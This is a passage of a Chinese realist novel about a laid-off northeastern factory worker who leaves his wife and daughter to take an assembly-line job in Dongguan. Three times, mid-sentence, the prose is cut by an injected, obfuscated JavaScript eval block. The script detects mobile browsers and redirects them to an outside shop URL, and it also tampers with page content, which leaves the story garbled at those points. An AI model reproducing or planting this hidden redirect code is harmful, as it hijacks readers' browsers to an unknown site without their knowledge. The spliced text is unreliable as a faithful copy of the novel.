她知道,将这些粗细不一、颜色杂乱的旧毛线重新织成手套、袜子和围巾,再拿到早市上去卖,也换不来几个钱。或许,连女儿的一本新练习本都买不起。但这几乎是她在照顾家庭、料理家务之外,唯一能想到的、勉强可以贴补家用的办法了。她必须做点什么,不能眼睁睁地看着这个家,在沉默中彻底沉没。 她的腰背因为长时间的蜷缩和寒冷,传来一阵阵钻心的酸麻和刺痛,像有无数根冰冷的针在不停地扎。她只能时不时地停下动作,用拳头死死抵住后腰,狠命地揉上几下,待到那阵尖锐的痛楚稍稍缓解,便又立刻俯下身,继续那仿佛永无止境的拆解与缠绕。 借着那点微弱得可怜的、偷来的邻家灯火,她偶尔会抬起沉重的眼皮,望向里屋的方向。 里屋的门虚掩着,里面是一片更深的黑暗。张建设面朝墙壁躺着,被子盖得严严实实,一动不动,象是睡熟了。但她知道他没有。他那过于僵直的背影,和偶尔传来的、被极力压抑的、悠长而沉重的呼吸声,暴露了他清醒的事实。他甚至不敢翻身,生怕那细微的声响,会惊扰了她这卑微的劳作,或者说,会让他更加直面自己作为丈夫和父亲的无力。 李桂兰的目光在丈夫的背影和身边熟睡的女儿脸上短暂停留。小梅在睡梦中似乎也不安稳,眉头微微蹙着,偶尔发出几声模糊的呓语。昏暗中,女儿床头那串没吃完的、糖壳已经有些融化的糖葫芦,反射着邻家灯火微弱的、破碎的光点。 看着女儿,看着她枕边那点可怜的甜,李桂兰眼中那因为屈辱和疲惫而几乎要溢出的泪水,又被她生生逼了回去。她不能倒下,至少,现在还不能。 她重新低下头,将所有的声音、所有的情绪,都死死地咽回肚子里,只剩下那双手,在那片偷来的、微弱得随时可能被窗外风声吹熄的光晕里,继续着无声的、绝望的、却又无比坚韧的拆解与缠绕。 那未熄的灯光,和她固执的身影,在这深沉的寒夜里,构成了一幅关于生存的、最卑微也最撼人的画面。 7. 南下 北方的春天来得迟疑而吝啬,三月的风依旧带着剥皮蚀骨的寒意。张建设推着他那辆除了铃铛不响、浑身都响的破自行车,漫无目的地游荡在厂区外围。昔日车水马龙、充斥着机油味和金属撞击声的厂区大道,如今像一条被抽干了水、奄奄一息的河床,只剩下萧条与死寂。路两旁光秃秃的白杨树枝,在灰蒙蒙的天空下伸展着,像无数双绝望的手臂。 他的目光空洞地扫过斑驳的围墙,上面还残留着早已褪色的政治标语,字迹模糊,如同一个被遗忘时代的墓志铭。下岗后的日子,像一滩越挣扎越深的泥沼。亲戚的冷眼,工会门前水泄不通的绝望人群,当铺柜台后那张毫无表情的脸,还有妻子深夜在借来微光下拆解旧毛线的佝偻背影……这一切,像冰冷的绞索,日夜勒紧着他的喉咙。 拐过一个堆满废弃机床配件和烂砖头的墙角,一阵冷风卷着几张破报纸和枯叶扑到他脸上。他下意识地偏过头,视线却被前方一根歪斜的水泥电线杆吸引住了。 那根电线杆上,像一块溃烂的疮疤,层层叠叠、密密麻麻地贴满了各种大小不一、颜色各异的纸张。有治疗性病、老军医的野广告,有寻人启事,有房屋租赁信息,更多的,是各种字迹潦草的招工启事。浆糊的痕迹新旧叠加,被雨水和风沙侵蚀得污秽不堪,形成一种丑陋而混乱的拼贴。 他的脚步不由自主地慢了下来,推着车,凑近了些。目光在那些粗糙的纸张上机械地扫过:“诚聘熟练焊工,日结”、“高薪急招搬运工,管吃住”……这些零散的工作,收入微薄,且极不稳定,如同施舍给乞丐的残羹冷炙。 就在这时,一张相对崭新、用鲜红墨水书写的大幅招工广告,像一摊凝固的鲜血,猛地扎进了他的眼帘: “东莞××电子厂” “高薪诚聘” “流水线操作工,男女不限,年龄18-45岁” “月薪六百,包吃住!” “工作轻松,环境优美,前途广阔!” 那“六百”和“包吃住”几个字,被人用红笔刻意描粗,像火焰一样,瞬间灼烧着张建设因绝望而近乎麻木的神经。 六百!几乎是他过去在厂里工资的三倍!还能包吃住!这意味着什么?意味着他能立刻还上一部分迫在眉睫的欠债,意味着妻子不用再夜夜拆解那些扎手的旧毛线,意味着女儿或许能多吃几顿有肉的饭菜,甚至……意味着他能重新捡起一点作为丈夫和父亲的尊严! 一股混杂着狂喜、怀疑和罪恶感的热流,猛地冲上他的头顶,让他感到一阵眩晕。心脏在胸腔里疯狂地擂动,几乎要挣脱束缚。他下意识地左右看了看,仿佛在做一件见不得人的勾当。 不远处,几个同样无所事事、裹着破旧棉袄蹲在墙根晒太阳的下岗工友,注意到了他异常的举动。 “瞅瞅,张劳模也来看这玩意儿了?”一个沙哑的声音带着毫不掩饰的讥讽响起,是以前和他不对付的钳工老钱。 “嘿,想去南方发财啊?就他那把老骨头,去了也是给人垫脚!”另一个声音附和着,引来一阵低低的、充满恶意的哄笑。 “六百?骗鬼去吧!指不定是啥黑厂,去了工资都拿不到!”有人“善意”地提醒,语气里却满是等着看笑话的期待。 这些话语像冰冷的针,刺破了张建设刚刚升腾起的热望。是啊,南方,那个只在电视和传言里听过的地方,遥远得像另一个世界。人生地不熟,这广告是真是假?会不会是陷阱?他这把年纪,还能适应流水线上机械的劳作吗? 疑虑和恐惧像冰冷的潮水,迅速淹没了他。他应该转身离开,像以前很多次那样,继续忍受这看不到尽头的贫困和屈辱。 可是……妻子那双因缺乏睡眠而布满血丝的眼睛,女儿看着同学穿新衣服时那羡慕又懂事的眼神,债主上门时那冰冷的语气,还有邻居王婶那永远带着嘲弄的目光……这一切,像一只只无形的手,在后面死死地推着他。 他的目光再次死死地钉在那鲜红的“六百”和“包吃住”上。那不仅仅是一串数字和几个字,那是在这片令人窒息的绝望泥沼中,唯一能看到的、或许可以抓住的救命稻草。哪怕它布满荆棘,哪怕它可能通向另一个深渊,他也必须去抓! 他的呼吸变得粗重,脸颊因内心的激烈挣扎而微微抽搐。终于,在身后那越来越响的、毫不避讳的议论和嗤笑声中,他象是下定了某种决心,猛地伸出手,手指因寒冷和激动而微微颤抖,一把将那张鲜红的招工广告从层层叠叠的废纸中撕了下来! 纸张粗糙的边缘划过指腹,带来一丝轻微的刺痛。他将广告迅速揉成一团,紧紧攥在手心,仿佛攥着一团燃烧的火,一团能够烧穿眼前这无尽黑暗的、危险的希望之火。 汗水,不知何时已经从额角渗出,迅速在寒冷的空气中变得冰凉。他不敢再看那些墙根下的工友,低着头,推着破自行车,几乎是逃离般地离开了那个电线杆,离开了那些混杂着同情、鄙夷和幸灾乐祸的目光。手心里,那张被揉皱的纸团,带着油墨和浆糊的味道,烫得他整个灵魂都在颤抖。 夜色如同浸透了墨汁的破棉絮,沉甸甸地压在筒子楼的上空。张家屋里,那盏昏黄的白炽灯似乎也比往日更加黯淡,光线无力地挣扎着,勉强照亮饭桌上那点清汤寡水的晚饭残迹——几个碗底沾着稀粥痕迹的粗瓷碗,一小碟只剩下咸菜汁的碟子。 空气凝滞,带着一股食物匮乏特有的、淡淡的胃酸气息,混杂着老旧家具的霉味,以及一种无声的、令人窒息的焦虑。北风在窗外呜咽,象是为这个摇摇欲坠的家庭奏响的、永不停歇的背景哀乐。 张建设坐在那张吱呀作响的折叠桌旁,手指无意识地、反复地捻着桌面上一个开裂的油渍印子。那则被他藏在口袋里、几乎要被汗水浸透的招工广告,像一块烧红的烙铁,烫着他的大腿,也烫着他的心。他深吸了一口气,那口气带着屋里冰冷的寒意和妻子身上淡淡的、拆解毛线留下的纤维味道。 他抬起头,目光首先对上的是妻子李桂兰。她正低头收拾着碗筷,动作缓慢而沉重,眼角眉梢堆满了化不开的愁绪和疲惫。昏黄的灯光在她脸上投下深深的阴影,使得那皱纹愈发清晰刺目。 “……桂兰,”张建设开口了,声音干涩得象是砂纸摩擦,“有……有个事,想跟你们商量一下。” 李桂兰收拾碗筷的动作顿住了,但没有抬头,只是肩膀几不可察地绷紧了些。 “我……我寻思着,”张建设舔了舔开裂的嘴唇,感觉每一个字都重若千钧,“老在家里这么待着,也不是个办法。厂里……怕是没指望了。我打听了一下,南边,广东那边,厂子多,机会也多……” 他停顿了一下,观察着妻子的反应。李桂兰依旧低着头,手指紧紧捏着一个碗的边缘,指节泛白。 “有个电子厂在招工,说是……月薪六百,还包吃住。”他终于说出了那个关键的数字,声音带着一丝不易察觉的颤抖,既是诱惑,也是忐忑。 “六百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743042|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 一直安静坐在旁边、假装写作业实则竖着耳朵听的张小梅,猛地抬起头,眼睛里瞬间迸发出一种孩童式的、对巨大数字最直接的震惊和光亮。 然而,这光亮很快就被母亲的反应覆盖了。 李桂兰终于抬起了头。她的脸色在灯光下显得异常苍白,嘴唇哆嗦着,眼圈几乎是瞬间就红了。她没有看女儿,而是直直地看向丈夫,声音带着一种被压抑到极致的、尖锐的颤抖: “去南边?那么远的地方?人生地不熟的……不去不行吗?” 她的声音里充满了恐惧,对未知的恐惧,对分离的恐惧,更对丈夫独自去闯荡那传闻中混乱不堪的南方所面临的危险的恐惧。“咱们……咱们就在北春,苦点就苦点,总能熬过去的……我多接点活,总能……” 她的话没能说完,因为哽咽堵住了她的喉咙。她猛地低下头,用手背飞快地擦了一下眼睛。 就在这时,一直沉默的张小梅,突然用一种带着天真却又无比残酷的语气插话了,她看向张建设,小脸上带着一丝困惑和某种莫名的比较: “爸爸,我们班李娜的爸爸,去年也去南方了。” 她眨着眼睛,声音清晰,“李娜说,她爸爸给她寄了漂亮的新裙子,还有好吃的糖果,可好了!” 童言无忌。 这句话,像一把淬了冰的匕首,精准无比地、狠狠地捅进了张建设和李桂兰的心脏最深处! 李桂兰的身体猛地一颤,象是被无形地抽了一鞭子。她难以置信地看向女儿,眼神里充满了受伤和一种更深沉的绝望。孩子无心的话语,却赤裸裸地揭示了邻居家与自家日益拉大的差距,揭示了贫穷如何在孩子心中投下阴影,甚至……带着一丝对自家父亲“无能”的隐晦指控。 张建设的脸瞬间失去了所有血色。女儿的话,比任何邻居的嘲讽、任何亲戚的冷眼都更让他痛彻心扉!他仿佛看到了女儿在同学面前,因为一条新裙子、几颗糖果而流露出的羡慕,以及因自家困窘而可能产生的自卑。那种无能为力的、作为父亲的失败感,像海啸般将他淹没。 他猛地攥紧了拳头,指甲深深掐进掌心,带来一阵尖锐的刺痛,才勉强压制住喉咙里那股即将冲出的、野兽般的呜咽。 屋子里陷入了死一般的寂静。只有窗外风声呜咽,和隔壁王家隐约传来的、电视节目的喧闹声,那热闹更象是一种残忍的讽刺。 李桂兰不再说话了,只是死死地咬着下唇,重新低下头,肩膀微微耸动,无声的泪水终于冲破堤坝,一滴一滴,砸在她粗糙、布满裂口的手背上,洇开小小的、深色的湿痕。 张小梅似乎也意识到了自己说错了话,看着父母骤然剧变的脸色,吓得不敢再出声,小脸上写满了不安和惶恐。 张建设看着哭泣的妻子,看着惶恐的女儿,看着这个在贫困中艰难喘息的家。南下,那条充满未知和风险的路,此刻不再是选择题,而是唯一可能通往一丝光亮的、布满荆棘的独木桥。 他没有再征求妻子的同意,也没有去安慰哭泣的她。他只是用一种近乎嘶哑的、带着破釜沉舟般决绝的语气,一字一句地,象是在宣读判决: “我,决定了。去。”这三个字,耗尽了他在这个家里,最后一点摇摆的勇气和残存的温情。他知道,从这一刻起,他必须背起行囊,走向那个遥远的、传说中的南方,用他的脊梁,去为这个家,撬开一道或许根本不存在的光亮缝隙。而代价,是此刻屋里这令人心碎的沉默,和妻子那无声却汹涌的泪水。 8. 准备行囊 决定一旦做出,家里便弥漫开一种比往日更沉重、更无言的氛围。象是暴风雨来临前,那种令人心悸的、粘稠的平静。李桂兰不再流泪,也不再劝说,她象是被抽走了所有抗争的力气,只剩下一种认命般的、机械的忙碌。 她翻箱倒柜,将家里那床最好、也是唯一一床还算厚实的棉被抱了出来。被面是多年前结婚时置办的,大红牡丹的图案早已褪色发白,边角也磨出了毛边。她将它拆开,露出里面颜色灰黄、板结发硬的棉絮。她把这些棉絮一点一点地、极其耐心地撕扯开,在午后短暂而无力的阳光下,用一根细竹棍反复拍打。灰尘和细小的纤维在光柱中狂舞,象是为这场离别举行的、卑微的祭典。她拍打得那样用力,仿佛要将里面所有潮湿的、冰冷的、属于北方的晦暗气息都驱逐出去,只留下蓬松的、或许能抵御南方未知寒冷的温暖。 张建设默默地看着,想搭把手,却被妻子无声地推开。她那沉默的、近乎固执的背影,比任何哭闹都更让他揪心。他知道,她在用这种方式,做着最后的、无言的挽留和抗争。 邻居王婶的身影,适时地出现在门口,倚着门框,手里抓着一把瓜子,嗑得“咔吧”作响,目光像探照灯一样在屋里扫视。 “哟,桂兰,这是干啥呢?这么大阵仗?”她吐着瓜子皮,声音带着惯有的、看热闹不嫌事大的腔调,“哟,连压箱底的被子都拆洗了?这是……真要打发建设去南边那个火坑啊?” 她不等回答,自顾自地往下说,声音不大,却足以让屋里每个人都听得清清楚楚:“要我说啊,南方那地方,乱着呢!人生地不熟,被人骗了卖了都没处说理去!报纸上不都登了?黑厂!克扣工钱!哪比得上咱们北春,好歹是家门口,穷是穷点,踏实!” 她的话,像阴沟里泛起的沼气,毒辣而刺鼻。 李桂兰拍打棉絮的动作没有丝毫停顿,甚至更加用力,只是脊背挺得愈发僵硬。张建设则别过脸去,盯着墙角那一片水渍留下的污痕,牙齿咬得咯咯作响。 王婶见没人搭腔,觉得无趣,又转向张建设,假惺惺地叹道:“建设啊,不是婶子说你,你这把年纪了,还去遭那个罪?不如就在家附近找个零活,桂兰也能放心不是?听说……南边还有那种传染病,吓人着呢!” 她说完,拍了拍手上的瓜子屑,扭着身子走了,留下满地的瓜子皮和一屋子更加凝滞的空气。 李桂兰仿佛没听见,她将拍打蓬松的棉絮重新絮好,又一针一线,细细地缝制起来。针脚密实而匀称,仿佛要将自己所有的不安、所有的牵挂,都缝进这床被子里。昏黄的灯光下,她的侧影单薄得像一张纸,却承载着难以想象的重负。 第二天,李桂兰又从那个藏得紧紧的米缸底层,摸出一个小布包,里面是她攒了许久、原本想给女儿添置过冬棉鞋的鸡蛋。她将鸡蛋一个个小心翼翼地洗干净,然后烧开一锅水,将它们煮熟。煮熟后,她并没有立刻捞出,而是做了一件让张建设眼眶发热的事——她翻出过年时写对联剩下的一小张红纸,用水化开,将那点可怜的红颜料,仔细地、一个个地涂抹在洁白的蛋壳上。 鸡蛋被染成了淡淡的、不均匀的粉红色,在昏暗的灶间里,像一串笨拙而脆弱的希望。这是北方的老习俗,出远门带上红鸡蛋,图个平安、吉利。她做得那么专注,那么虔诚,仿佛这简陋的仪式,真能护佑丈夫穿越千山万水,一路平安。 张建设看着妻子染红的、带着颜料痕迹的手指,看着那一个个粉红色的鸡蛋被小心地码放在行囊的角落里,和那床重新缝制的、似乎还带着阳光味道的棉被放在一起。他喉咙哽咽,一个字也说不出。 行囊,就在这压抑的沉默、邻居的冷语和妻子无声的劳作中,一点点地被打点起来。那里面,装着的不仅仅是衣物和被褥,更是一个女人所有的担忧、一个家庭最后的希望,以及一份沉甸甸的、用沉默包裹的、近乎绝望的爱。 北春火车站的站台,从来不是个温情脉脉的地方,而在这个灰蒙蒙的清晨,它更像一个巨大的、冰冷的、充满离愁别绪与混乱喧嚣的修罗场。 空气里混杂着煤灰刺鼻的硫磺味、人体汗液的酸腐气、劣质烟草的辛辣,还有某种即将远行或送别带来的、无形的焦虑与悲伤。巨大的蒸汽机车像一头黑色的、沉默的巨兽,匍匐在铁轨上,不时喷出一股股浓郁的白色蒸汽,发出“噗嗤——噗嗤——”的、沉重而压抑的喘息声。这白雾迅速弥漫开来,笼罩了整个站台,将一张张模糊的面孔、一声声嘶哑的呼喊都裹挟其中,更添了几分迷茫与不安。 人群像潮水一样涌动、推搡。扛着巨大编织袋的农民工,拖着行李箱神色匆忙的出差者,哭喊着舍不得父母的孩子,还有更多像张建设一样,背着简单行囊、脸上写着茫然与决绝的下岗工人。叫嚷声、哭喊声、列车员的哨声、小贩的叫卖声……各种声音混杂在一起,形成一股令人头皮发麻的声浪,冲击着每个人的耳膜。 张建设穿着一身他最体面、却依旧难掩寒酸的深色外套,背着那个被李桂兰塞得鼓鼓囊囊、几乎要裂开的旧帆布包,手里还提着一个网兜,里面是几个染着笨拙红色的煮鸡蛋。李桂兰紧紧跟在他身边,一只手死死攥着他的衣角,仿佛一松手,他就会被这汹涌的人潮瞬间吞没、卷走。张小梅被母亲另一只手牵着,小脸冻得通红,大眼睛里充满了对这场混乱的恐惧和对父亲即将离去的无措。 “让让!让让!挤什么挤!赶着投胎啊!”一个粗暴的声音在他们身后炸响,一个扛着巨大麻袋的壮汉毫不客气地用肩膀撞开了李桂兰,差点把她带倒。 张建设连忙扶住妻子,怒目看向那壮汉,对方却只是回瞪一眼,骂骂咧咧地继续往前挤。 “呸!晦气!” 一个熟悉而刺耳的声音,像毒蛇一样钻进他们的耳朵。不用回头,也知道是阴魂不散的王婶,她不知怎么也挤到了附近,正对着他们这边撇着嘴,“送个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743043|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行跟生离死别似的!好像去了就能发财一样!别到时候钱没挣着,人再……” 她的话没说完,但那股子幸灾乐祸和诅咒的意味,比这站台上的寒气更刺骨。 李桂兰的身体剧烈地颤抖了一下,攥着张建设衣角的手更加用力,指节惨白。她没有回头去理论,甚至没有去看王婶一眼,只是将所有的力气和恐惧,都灌注在了那只死死攥着丈夫衣角的手上。她的目光,死死地锁在张建设脸上,里面是千言万语,却一个字也说不出来。 张小梅被这混乱和母亲异常的紧张吓到了,小声地啜泣起来,紧紧抱住父亲的腿,把小脸埋在他冰凉的裤子上,呜咽着:“爸爸……别走……” 这哭声,像最后一把锤子,砸碎了张建设勉强维持的镇定。 火车汽笛猛地拉响,尖锐而悠长,像一道最终的催命符。 “前往广州方向的 K444次列车即将开车,请送亲友的旅客抓紧时间下车……” 列车员毫无感情的声音通过扩音器在站台上回荡。 人群瞬间更加骚动起来,最后的告别、最后的叮嘱、最后的眼泪,在这一刻轰然爆发。 张建设知道不能再等了。他猛地蹲下身,用力掰开女儿紧抱着他的手,将那几个红鸡蛋塞进女儿怀里,然后用尽全身力气,挣脱了妻子那几乎要嵌进他衣服纤维里的手指。 他什么也来不及说,甚至不敢再看妻子那泫然欲泣、充满绝望的脸和女儿挂满泪珠的小脸。他转身,像一条泥鳅,凭借着多年在车间拥挤环境中练就的本能,拼命地挤开身边的人,朝着最近的一个车门冲去。 在他踏上火车踏板,即将被人流卷入车厢的前一刻,他猛地回头。 透过弥漫的、带着煤灰味道的白色蒸汽,他看到妻子李桂兰,竟然挣脱了人群的束缚,疯了似的追着车窗跑了几步。她的头发散了,脸上分不清是泪水还是蒸汽凝结的水珠,在站台昏暗的光线下闪着破碎的光。她奋力地将用手帕包着的什么东西,通过一个尚未完全关闭的车窗缝隙,塞了进去! 是那几个红鸡蛋!她最终还是把这份带着她体温和笨拙祈愿的“平安符”,塞给了丈夫! 火车发出一声更加沉闷的嘶鸣,车轮开始缓缓转动。 张建设的脸死死贴在冰冷、肮脏的车窗玻璃上。他看到了妻子最终停下脚步,站在空旷起来的站台上,身影在巨大的蒸汽机车和弥漫的雾气衬托下,显得那么渺小,那么单薄,那么无助。他也看到了女儿被母亲紧紧搂在怀里,还在朝着火车方向哭喊着,那小脸上的悲伤和恐惧,穿透了玻璃,狠狠刺入他的心脏。 站台、妻子、女儿、王婶那模糊却带着讥诮的脸……所有的景象,都在车轮加速的“哐当”声中,迅速向后飞掠,变小,最终,彻底消失在弥漫的煤烟和他无法抑制的、滚烫的泪水里。 站台空了。只剩下满地狼藉的垃圾,和空气中久久不散的、离别的悲凉。 9. 车窗内外 火车像一头挣脱了束缚的钢铁巨兽,喘息着,轰鸣着,开始加速。沉重的车轮与铁轨撞击,发出规律而冰冷的“哐当、哐当”声,这声音不再是送别的鼓点,而是将他与过往一切无情撕裂的铡刀。 张建设被人流裹挟着,挤在靠近车门的过道里,几乎无法动弹。他费力地扭过头,脸颊死死抵在冰冷、布满污痕和湿气的车窗玻璃上,那刺骨的凉意穿透皮肤,直抵他混乱的大脑。玻璃很脏,外面还挂着煤灰和水珠,让站台的景象扭曲、模糊,如同一个正在崩塌的噩梦。 他看见妻子李桂兰的身影,在弥漫的白色蒸汽和人群中,像一个迷失的魂魄,徒劳地追着加速的火车跑了几步。她的手臂还向前伸着,维持着那个塞鸡蛋的姿势,嘴巴张合,似乎在呼喊什么,但声音完全被车轮的轰鸣吞没。她的头发在奔跑中彻底散乱,脸上湿漉漉一片,分不清是汗水、泪水还是蒸汽。随即,她和女儿相拥的身影,在视野里迅速缩小,变成了两个模糊的、颤抖的黑点。 站台上其他的送行者也开始后退,王婶那略显臃肿的身影在其中显得格外刺眼。她没有像其他人那样挥手或抹泪,只是抱着胳膊站在那里,嘴角似乎还挂着一丝未来得及收起的、看戏般的冷笑,隔着肮脏的车窗和距离,那表情模糊却锐利,像一根毒刺,扎在张建设的心上。 就在站台即将彻底消失在视线尽头的刹那,他看到妻子李桂兰猛地蹲下身,紧紧抱住了女儿,将脸埋在了女儿弱小的肩头,肩膀剧烈地抽动起来。那是一个彻底崩溃的、绝望的姿态。 视野骤然开阔,取而代之的是飞速后退的、灰败的厂区景象:锈迹斑斑的管道、废弃的厂房、枯黄的杂草……这些他曾奋斗了大半生、视为家园和荣耀的风景,此刻正被火车毫不留情地抛弃在身后。 他用那只空着的手(另一只紧紧攥着装有红鸡蛋的手帕包),颤抖着,在蒙着哈气的车窗上,用力划动。 手指划过,留下两道清晰的痕迹,他写下了四个字: “等我回来” 字迹歪斜,却带着孤注一掷的重量。 然而,北国的严寒是残酷的。几乎就在他写完最后一个笔画,窗外的冷空气便迅速将那一小片玻璃上的热量带走,刚刚还清晰的笔迹边缘开始模糊、凝结,白色的水汽重新覆盖上来,字迹扭曲、变形,最终,彻底消失。只留下一片冰冷的、模糊的湿痕,像一声未来得及发出便已冻结的叹息。 “等我回来”这四个字,甚至没能完整地留存超过十秒钟。这徒劳的举动,像极了他们此刻的命运——承诺如此脆弱,轻易就被现实的严寒冻结、抹去。 车窗内,是另一个令人窒息的世界。 硬座车厢里,人满为患,空气污浊得几乎能拧出水来。汗味、脚臭味、泡面的油腻味、劣质烟草的呛人气味,还有婴儿身上的奶腥味……各种气味混合在一起,发酵成一股令人作呕的、沉闷的热浪。座位上挤满了人,过道里也蹲着、坐着、靠着人,几乎没有下脚的地方。行李架上塞满了鼓鼓囊囊的编织袋,有些甚至溢出来,悬在坐车人的头顶,摇摇欲坠。 张建设好不容易在靠近厕所的过道角落,找了个勉强能放下行李、可以倚靠的地方。厕所门不时开合,带出更浓重的异味。他蜷缩在那里,紧紧抱着自己的帆布包,仿佛那是他唯一的依靠。 对面座位上,一个穿着廉价西装、头发梳得油亮的年轻男人,正旁若无人地哼唱着当时流行的歌曲《外面的世界》,调子跑得厉害,却带着一种盲目的憧憬: “外面的世界很精彩……外面的世界很无奈……” 这歌声,像一把钝刀子,反复切割着张建设敏感的神经。精彩?他看不到。他只觉得前路茫茫,充满了“无奈”和未知的恐惧。他闭上眼,想隔绝这声音,脑海里却反复回放着妻子绝望奔跑的身影,女儿撕心裂肺的哭喊,以及王婶那冰冷的讥笑。 他悄悄低下头,把脸埋进臂弯里,肩膀微微耸动。车厢里噪音巨大,掩盖了他压抑的、几乎听不见的哽咽。只有他自己知道,那滚烫的、屈辱的、混杂着无尽担忧和离愁的泪水,正无声地汹涌而出,浸湿了他粗糙的衣袖。 火车呼啸着,载着一车厢的梦想、无奈、汗水和眼泪,义无反顾地驶向那个传说中充满机遇与风险的南方。车窗内外,是两个截然不同的世界,也是同一个时代背景下,无数卑微生命被迫迁徙、挣扎求存的、冰冷而真实的缩影。 经过几十个小时车轮与铁轨近乎麻木的反复撞击,当火车最终嘶哑着喷出最后一口疲惫的蒸汽,瘫倒在东莞某个灰扑扑的站台时,张建设感觉自己全身的骨头都像被拆散重组过,每一处关节都发出酸涩的呻吟。他背着那个与周遭格格不入的、鼓鼓囊囊的北方行囊,被人流裹挟着,踉跄地踏上了南方的土地。 一股黏稠、湿热的,混杂着陌生植物腥气、工业废气、汽车尾气和大量人口聚集所特有的浑浊气息的热浪,瞬间包裹了他,让他几乎窒息。这与北国那种干冷、凛冽,带着煤烟和黑土味道的空气截然不同,仿佛一步踏入了另一个维度。 举目四望,他感到一阵剧烈的眩晕。这里没有北春市那种天高地阔的苍凉,取而代之的是一种令人窒息的、疯狂的挤压感。视线所及,密密麻麻、高低错落的厂房像一片望不到边的、灰白色的水泥森林,无数扇窗户在亚热带灼热的阳光下反射着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743044|189737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆滞而刺眼的光。纵横交错的电线像一张巨大的、丑陋的蛛网,笼罩在头顶。街道上,各种型号的货车、摩托车、自行车汇成一股喧嚣而急躁的洪流,喇叭声、引擎轰鸣声、小贩的叫卖声不绝于耳,与他记忆中厂区下班时那种疲惫却有序的安静形成了残酷的对比。 这里无疑是“热闹”的,甚至是“繁荣”的,但这种热闹带着一种冰冷的机械属性,这种繁荣与他这样的个体,似乎隔着一层看不见的、坚硬的玻璃。空气中仿佛都浮动着金钱和机会的味道,但那味道如此遥远,如同海市蜃楼。 招工广告上那句“环境优美”像一个苍白的笑话。他所处的这个工业区,道路两旁堆着垃圾和建筑材料,污水顺着破损的路缘石肆意横流,散发出阵阵酸腐气味。巨大的广告牌上画着摩登女郎和琳琅满目的商品,色彩艳俗,与底下蓬头垢面、行色匆匆的工人们形成了荒诞的对照。 “发什么呆!乡巴佬!挡路了!” 一个穿着保安制服、皮肤黝黑的男人用带着浓重本地口音的普通话粗暴地推了他一把,眼神里充满了对外来者的鄙夷和不耐烦。 张建设踉跄一下,慌忙让开,心脏怦怦直跳。他紧了紧肩上的背包带,那里面装着妻子缝制的棉被和染红的鸡蛋,此刻却沉重得像一块巨大的、昭示着他与这里格格不入的烙印。 他按照地址,辗转找到那家“电子厂”。高耸的、毫无个性的厂门,穿着统一制服的、表情冷漠的保安,墙上密密麻麻的规章制度……这一切,都散发着一种井然有序却毫无人情味的冰冷气息。与他记忆中那个虽然破败、却充满了熟人社会和人情味的北春机械厂,形成了天堂与地狱般的反差。 北春的厂区是“死”的,是寂静的,是一种英雄迟暮、无可奈何花落去的悲凉;而这里,是“活”的,却是以一种疯狂的、吞噬个体的、异化的方式在“活”着。机器的轰鸣声从每一扇窗户里钻出来,汇聚成一股永不停歇的、压迫耳膜的声浪,那不是生产的凯歌,而是资本无情咀嚼劳动力的饕餮之声。 他站在厂门外,看着那些穿着同样工装、像灰色潮水一样涌进涌出的年轻面孔,他们大多神情麻木,眼神空洞,动作迅速而机械。他忽然意识到,招工广告上那个鲜红的“六百元”和“包吃住”,指向的并非天堂,而是一个他完全陌生的、需要付出难以想象代价的、另一种形态的“地狱”。 这里没有北方的寒风和冰雪,但这黏稠的热浪、这喧嚣的噪音、这冰冷的秩序和无处不在的鄙夷目光,构成了一种新型的、更加令人无所适从的严寒,冻彻骨髓。他攥紧了拳头,手心里全是冷汗,那条通往“天堂”的路,此刻看来,布满了荆棘和未知的陷阱。 10. 流水线上的十六小时 张建设被分配到的岗位,是在一条生产收音机电路板的流水线上。车间巨大得超乎想象,天花板高悬,布满密密麻麻的日光灯管,发出一种惨白、均匀、毫无温度的光,将每个人的脸都照得失去血色。空气里弥漫着强烈的、刺鼻的松香味、焊锡膏的金属味,以及一种由无数人体散发出的、被强制压缩在一起的浑浊气息。巨大的排风扇在高处徒劳地转动,发出的嗡嗡声被流水线更庞大的轰鸣彻底吞没。 他被带到自己的工位——一个仅容转身的狭窄站位。面前是永不疲倦、匀速移动的传送带,像一条冰冷的钢铁河流。他的任务简单到令人发指:给每一块流到面前的绿色电路板,拧上四颗固定的螺丝。 “看好了!” 带他的线长,一个穿着不合身静电服、颧骨高耸的本地青年,用生硬的普通话吼道,手里拿着电批(电动螺丝刀)示范了一下,动作快得像一道幻影,“就这样!一颗不能少,一颗不能歪!慢了,整条线都给你堵住!后果你负责!” 他把电批塞到张建设手里,眼神像刀子一样在他那身北方带来的、与周围格格不入的旧外套上刮过,充满了毫不掩饰的轻蔑。 